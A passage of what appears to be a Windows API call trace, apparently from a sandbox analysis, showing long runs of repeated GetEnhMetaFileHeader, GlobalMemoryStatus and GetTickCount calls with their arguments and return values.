nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.160] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.161] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.162] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.163] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0028.175] lstrlenA (lpString="") returned 0 [0028.175] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.176] GetTickCount () returned 0x1848a [0028.176] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.177] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.177] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.177] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.177] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.177] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.177] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.177] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.177] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.177] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.177] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.178] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.178] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.178] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.178] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.178] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.178] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.178] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.178] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.178] GetTickCount () returned 0x1848a [0028.178] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.179] GetTickCount () returned 0x1848a [0028.179] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.180] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.180] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.180] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.180] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.180] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.180] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.180] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.180] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.180] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.180] GetTickCount () returned 0x1848a [0028.181] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.181] GetTickCount () returned 0x1848a [0028.181] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.181] GetTickCount () returned 0x1848a [0028.181] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.181] GetTickCount () returned 0x1848a [0028.181] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.181] GetTickCount () returned 0x1848a [0028.181] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.181] GetTickCount () returned 0x1848a [0028.181] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.181] GetTickCount () returned 0x1848a [0028.181] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.181] GetTickCount () returned 0x1848a [0028.181] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.181] GetTickCount () returned 0x1848a [0028.181] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.181] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.182] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.182] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.182] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.182] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.182] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.182] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.182] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.182] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.182] GetTickCount () returned 0x1848a [0028.182] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.183] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.183] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.183] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.183] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.183] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.183] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.183] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.183] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.183] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.183] GetTickCount () returned 0x1848a [0028.184] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0028.184] GetTickCount () returned 0x1848a [0028.184] GlobalMemoryStatus (in: 